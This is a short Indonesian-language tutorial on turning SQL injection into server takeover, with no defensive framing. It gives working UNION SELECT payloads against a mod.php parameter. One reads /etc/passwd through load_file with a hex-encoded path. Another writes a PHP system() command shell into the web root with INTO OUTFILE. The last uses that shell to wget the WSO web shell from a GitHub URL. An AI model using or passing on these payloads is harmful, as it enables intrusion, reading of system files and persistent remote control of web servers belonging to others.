SQL into outfile

SQL Into Out File

1. Pertama kalian lakukan inject website seperti biasa dengan order by untuk menggetahui jumlah kolom, Dan cari angka cantik dengan union select.

2. Setelah itu cek /etc/passwd di nomor cantiknya, Begini caranya : http://www.memek.com/mod.php?view=161%27+and+false+union+select+1,load_file(0x2f6574632f706173737764),3--+ .

3. Lalu kalian cari saja mana kira-kira direktori yang bisa kalian tanam command.

4. Cara ke 4 kalian perlu menanamkan command, Begini caranya : http://www.memek.com/mod.php?view=161%27+and+false+union+select+1,'<?php system($_GET[cmd]);?>',3+into outfile "/var/www/babi.php"--+ .

5. Nah kalo udah kalian tinggal buka commandnya di http://www.memek.com/babi.php

6. Terakhir tinggal kalian wget shell melalui command tersebut, Begini caranya : http://www.memek.com/babi.php?cmd=wget https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php.

7. Nah terakhir tinggal buka deh shellnya.